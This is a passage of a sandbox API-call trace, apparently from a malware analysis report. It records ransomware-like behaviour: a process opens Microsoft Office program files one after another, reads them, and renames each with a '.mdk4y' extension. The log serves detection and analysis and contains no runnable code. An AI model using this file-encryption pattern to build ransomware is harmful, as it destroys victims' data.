Files\\Microsoft Office\\Office14\\ONENOTEIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\onenoteirm.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0229.803] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830503300000) returned 1 [0229.803] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x138f4, lpOverlapped=0x0) returned 1 [0229.914] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830514400000) returned 1 [0229.914] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830514400000) returned 1 [0229.915] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\onenoteirm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEIRM.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\onenoteirm.xml.mdk4y")) returned 1 [0229.917] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0229.917] AreFileApisANSI () returned 1 [0229.917] GetACP () returned 0x4e4 [0229.917] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ONENOTEM.EXE", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ONENOTEM.EXEML", lpUsedDefaultChar=0x37dfd8) returned 12 [0229.917] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEM.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\onenotem.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0229.918] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830514800000) returned 1 [0229.918] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x3bd80, lpOverlapped=0x0) returned 1 [0230.010] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830524000000) returned 1 [0230.010] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830524000000) returned 1 [0230.012] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEM.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\onenotem.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEM.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\onenotem.exe.mdk4y")) returned 1 [0230.015] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0230.015] AreFileApisANSI () returned 1 [0230.015] GetACP () returned 0x4e4 [0230.015] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ONENOTEMANAGED.DLL", cchWideChar=18, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ONENOTEMANAGED.DLLs.dll", lpUsedDefaultChar=0x37dfd8) returned 18 [0230.015] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEMANAGED.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\onenotemanaged.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0230.017] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830524700000) returned 1 [0230.017] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x26d70, lpOverlapped=0x0) returned 1 [0230.038] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830526800000) returned 1 [0230.038] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830526800000) returned 1 [0230.039] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEMANAGED.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\onenotemanaged.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEMANAGED.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\onenotemanaged.dll.mdk4y")) returned 1 [0230.041] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0230.041] AreFileApisANSI () returned 1 [0230.041] GetACP () returned 0x4e4 [0230.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ONFILTER.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ONFILTER.DLLED.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0230.041] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONFILTER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\onfilter.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0230.043] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830527300000) returned 1 [0230.043] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0230.277] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830550700000) returned 1 [0230.277] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830550700000) returned 1 [0230.285] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONFILTER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\onfilter.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONFILTER.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\onfilter.dll.mdk4y")) returned 1 [0230.288] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0230.288] AreFileApisANSI () returned 1 [0230.288] GetACP () returned 0x4e4 [0230.288] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ONLNTCOMLIB.DLL", cchWideChar=15, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ONLNTCOMLIB.DLLDLL", lpUsedDefaultChar=0x37dfd8) returned 15 [0230.288] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONLNTCOMLIB.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\onlntcomlib.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0230.289] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830551900000) returned 1 [0230.289] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x135a0, lpOverlapped=0x0) returned 1 [0230.337] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830556700000) returned 1 [0230.337] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830556700000) returned 1 [0230.338] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONLNTCOMLIB.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\onlntcomlib.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONLNTCOMLIB.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\onlntcomlib.dll.mdk4y")) returned 1 [0230.340] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0230.340] AreFileApisANSI () returned 1 [0230.340] GetACP () returned 0x4e4 [0230.340] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ONMAIN.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ONMAIN.DLLB.DLL", lpUsedDefaultChar=0x37dfd8) returned 10 [0230.340] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONMAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\onmain.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0230.341] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830557100000) returned 1 [0230.341] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0230.416] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830564600000) returned 1 [0230.416] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830564600000) returned 1 [0230.424] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONMAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\onmain.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONMAIN.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\onmain.dll.mdk4y")) returned 1 [0230.427] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0230.427] AreFileApisANSI () returned 1 [0230.427] GetACP () returned 0x4e4 [0230.427] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ONPPTAddin.dll", cchWideChar=14, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ONPPTAddin.dllL", lpUsedDefaultChar=0x37dfd8) returned 14 [0230.427] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0230.427] AreFileApisANSI () returned 1 [0230.427] GetACP () returned 0x4e4 [0230.427] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ONWordAddin.dll", cchWideChar=15, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ONWordAddin.dll", lpUsedDefaultChar=0x37dfd8) returned 15 [0230.427] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0230.427] AreFileApisANSI () returned 1 [0230.427] GetACP () returned 0x4e4 [0230.427] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ORGCHART.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ORGCHART.DLLdll", lpUsedDefaultChar=0x37dfd8) returned 12 [0230.427] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORGCHART.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\orgchart.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0230.428] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830565800000) returned 1 [0230.428] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0230.491] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830572100000) returned 1 [0230.491] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830572100000) returned 1 [0230.500] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORGCHART.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\orgchart.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORGCHART.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\orgchart.dll.mdk4y")) returned 1 [0230.503] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0230.503] AreFileApisANSI () returned 1 [0230.503] GetACP () returned 0x4e4 [0230.503] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ORGCHWIZ.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ORGCHWIZ.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0230.503] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORGCHWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\orgchwiz.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0230.503] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830573300000) returned 1 [0230.503] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xaeb88, lpOverlapped=0x0) returned 1 [0230.522] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830575200000) returned 1 [0230.522] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830575200000) returned 1 [0230.527] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORGCHWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\orgchwiz.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORGCHWIZ.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\orgchwiz.dll.mdk4y")) returned 1 [0230.530] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0230.530] AreFileApisANSI () returned 1 [0230.530] GetACP () returned 0x4e4 [0230.530] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ORGWIZ.EXE", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ORGWIZ.EXELL", lpUsedDefaultChar=0x37dfd8) returned 10 [0230.530] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORGWIZ.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\orgwiz.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0230.532] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830576200000) returned 1 [0230.532] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x14590, lpOverlapped=0x0) returned 1 [0230.562] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830579200000) returned 1 [0230.562] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830579200000) returned 1 [0230.563] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORGWIZ.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\orgwiz.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORGWIZ.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\orgwiz.exe.mdk4y")) returned 1 [0230.566] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0230.566] AreFileApisANSI () returned 1 [0230.566] GetACP () returned 0x4e4 [0230.566] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ORMELEMS.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ORMELEMS.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0230.566] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORMELEMS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ormelems.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0230.567] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830579700000) returned 1 [0230.567] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x6a798, lpOverlapped=0x0) returned 1 [0230.603] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830583300000) returned 1 [0230.603] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830583300000) returned 1 [0230.608] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORMELEMS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ormelems.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORMELEMS.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\ormelems.dll.mdk4y")) returned 1 [0230.610] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0230.611] AreFileApisANSI () returned 1 [0230.611] GetACP () returned 0x4e4 [0230.611] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ORMMODEL.MDL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ORMMODEL.MDL", lpUsedDefaultChar=0x37dfd8) returned 12 [0230.611] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORMMODEL.MDL" (normalized: "c:\\program files\\microsoft office\\office14\\ormmodel.mdl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0230.611] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830584100000) returned 1 [0230.611] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x11990, lpOverlapped=0x0) returned 1 [0230.633] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830586300000) returned 1 [0230.633] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830586300000) returned 1 [0230.635] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORMMODEL.MDL" (normalized: "c:\\program files\\microsoft office\\office14\\ormmodel.mdl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORMMODEL.MDL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\ormmodel.mdl.mdk4y")) returned 1 [0230.638] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0230.638] AreFileApisANSI () returned 1 [0230.638] GetACP () returned 0x4e4 [0230.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OSPP.HTM", cchWideChar=8, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OSPP.HTM.MDL", lpUsedDefaultChar=0x37dfd8) returned 8 [0230.638] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\ospp.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0230.639] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830586900000) returned 1 [0230.640] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x3d05, lpOverlapped=0x0) returned 1 [0230.650] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830588000000) returned 1 [0230.650] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830588000000) returned 1 [0230.650] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\ospp.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.HTM.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\ospp.htm.mdk4y")) returned 1 [0230.653] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0230.653] AreFileApisANSI () returned 1 [0230.653] GetACP () returned 0x4e4 [0230.653] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OSPP.VBS", cchWideChar=8, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OSPP.VBS", lpUsedDefaultChar=0x37dfd8) returned 8 [0230.653] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office14\\ospp.vbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0230.654] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830588400000) returned 1 [0230.654] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xc119, lpOverlapped=0x0) returned 1 [0230.655] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830588500000) returned 1 [0230.655] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830588500000) returned 1 [0230.657] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office14\\ospp.vbs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.VBS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\ospp.vbs.mdk4y")) returned 1 [0230.659] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0230.659] AreFileApisANSI () returned 1 [0230.659] GetACP () returned 0x4e4 [0230.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTLACCT.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OUTLACCT.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0230.659] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLACCT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\outlacct.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0230.660] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830589000000) returned 1 [0230.660] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xa160, lpOverlapped=0x0) returned 1 [0230.791] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830602100000) returned 1 [0230.791] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830602100000) returned 1 [0230.792] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLACCT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\outlacct.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLACCT.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlacct.dll.mdk4y")) returned 1 [0230.795] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0230.796] AreFileApisANSI () returned 1 [0230.796] GetACP () returned 0x4e4 [0230.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTLCTL.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OUTLCTL.DLLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0230.797] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLCTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\outlctl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0230.798] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830602800000) returned 1 